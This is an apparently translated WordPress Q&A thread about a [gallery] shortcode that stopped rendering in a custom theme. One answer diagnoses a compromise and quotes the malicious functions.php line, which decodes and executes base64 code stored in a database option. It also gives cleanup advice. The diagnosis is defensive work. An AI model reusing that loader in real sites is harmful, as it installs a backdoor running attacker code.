По умолчанию Wordpress [галерея] не отображается в пользовательской теме

Все было хорошо, до недавних обновлений. [gallery] больше не показывает изображения, и он также выглядит так, как будто он не содержится в коде.

Вот цикл для страницы:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>

Текстовый контент из the_content отображается, но [галерея], которая находится в содержимом, не отображается и не преобразуется в код (поэтому проблема не должна быть в javascript).

И вот файл functions.php: http://pastebin.com/vfJpphgt (да, я добавил поддержку темы для галереи, но без изменений)

Ответ 1

Сайт взломан.

Последняя строка pastebin загружает вредоносный код из вашей базы данных: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

Выполненный код испортит WPQuery для извлечения медиафайлов Gallery. Вот почему нарушается [gallery]. (На самом деле вам может повезти в этой части.)

Вы можете найти запись об этом вредоносном ПО в sucuri.net. Вы должны проверить все свои файлы на сервере для подозрительной строки. Хотя наиболее вероятным путем атаки является уязвимость WordPress, вы должны изменить все свои пароли в WordPress и на сервере.

ПОСЛЕ удаления вредоносной программы вы можете очистить свой WordPress такими инструментами, как Wordfence (у меня нет привязки к плагину или его авторам).

Ответ 2

попробуйте установить плагин NextGEN Gallery, добавьте изображения галереи и попытайтесь отобразить на главной странице,

https://wordpress.org/plugins/nextgen-gallery/

Ответ 3

Вы видите ошибки javascript в консоли? и что выводится

<?php echo do_shortcode('[gallery]');?>